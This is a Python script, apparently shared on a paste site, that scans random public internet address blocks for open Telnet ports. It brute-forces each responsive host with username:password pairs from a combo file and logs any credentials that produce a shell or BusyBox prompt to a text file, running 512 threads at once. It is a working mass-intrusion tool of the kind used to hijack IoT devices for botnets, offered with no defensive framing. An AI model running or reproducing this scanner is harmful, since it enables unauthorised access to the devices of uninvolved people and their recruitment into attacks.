import socket
import random
import itertools
import os
import string
import time
import socket
import threading
import select
def gen_IP_block():
not_valid = [10,127,169,172,192]
first = random.randrange(1,256)
while first in not_valid:
first = random.randrange(1,256)
ip = ".".join([str(first),str(random.randrange(1,256)),
str(random.randrange(1,256))])
return ip+".1-255"
def ip_range(input_string):
octets = input_string.split('.')
chunks = [map(int, octet.split('-')) for octet in octets]
ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks]
for address in itertools.product(*ranges):
yield '.'.join(map(str, address))
def Scan(IP):
global totalscanned
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((IP, 23))
s.close()
totalscanned += 1
return True
except:
totalscanned += 1
return False
pass
def recv_timeout(sock, timeout):
sock.setblocking(0)
ready = select.select([sock], [], [], timeout)
if ready[0]:
data = sock.recv(4096)
return data
def TelnetBrute(host):
global fh
global totalguessed
global totalfound
combos = open("combo.txt", "r").read().replace("\r", "").split("\n")
data = ""
for passwd in combos:
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((host, 23))
s.send(passwd.split(":")[0] + "\r\n")
time.sleep(1)
s.send(passwd.split(":")[1] + "\r\n")
data = recv_timeout(s, 2)
totalguessed += 1
for good in ["$", "#", ">", "shell", "dvrdvs", "usybox"]:
if good in data:
totalfound += 1
fh.write(passwd + ":" + host + "\n")
fh.flush()
return
except Exception as e:
pass
def checkrange():
checkedrange = 0
while 1:
for IP in ip_range(gen_IP_block()):
if Scan(".".join(IP.split(".")[:3])+".1") and Scan(".".join(IP.split(".")[:3])+".254") and checkrange == 0:
checkedrange = 1
break #entire ip range has port open, skipping...
if Scan(IP):
TelnetBrute(IP)
checkedrange = 0
def Status():
global totalfound
global totalguessed
global totalscanned
while 1:
print 'Total Telnetz found: {0} Total guessed: {1} Total scanned: {2}\r'.format(totalfound, totalguessed, totalscanned),
time.sleep(1)
global fh
global totalfound
global totalguessed
global totalscanned
global isscreenshotting
fh = open("telnetz.txt", "wb")
totalfound = 0
totalguessed = 0
totalscanned = 0
isscreenshotting = 0
threads = 0
threading.Thread(target = Status, args = ()).start()
for thread in xrange(0,512):
try:
threading.Thread(target = checkrange, args = ()).start()
threads += 1
except:
pass
for i in range(0,3):
raw_input()
os.popen("taskkill /f /pid " + str(os.getpid()))
'''
if __name__ == "__main__":
threadcount = 0
for i in xrange(0,1024):
try:
threading.Thread(target=HaxThread, args=()).start()
threadcount += 1
except:
pass
print "[*] Started " + str(threadcount) + " scanner threads!"
'''
Comments
0 B
|👍
/👎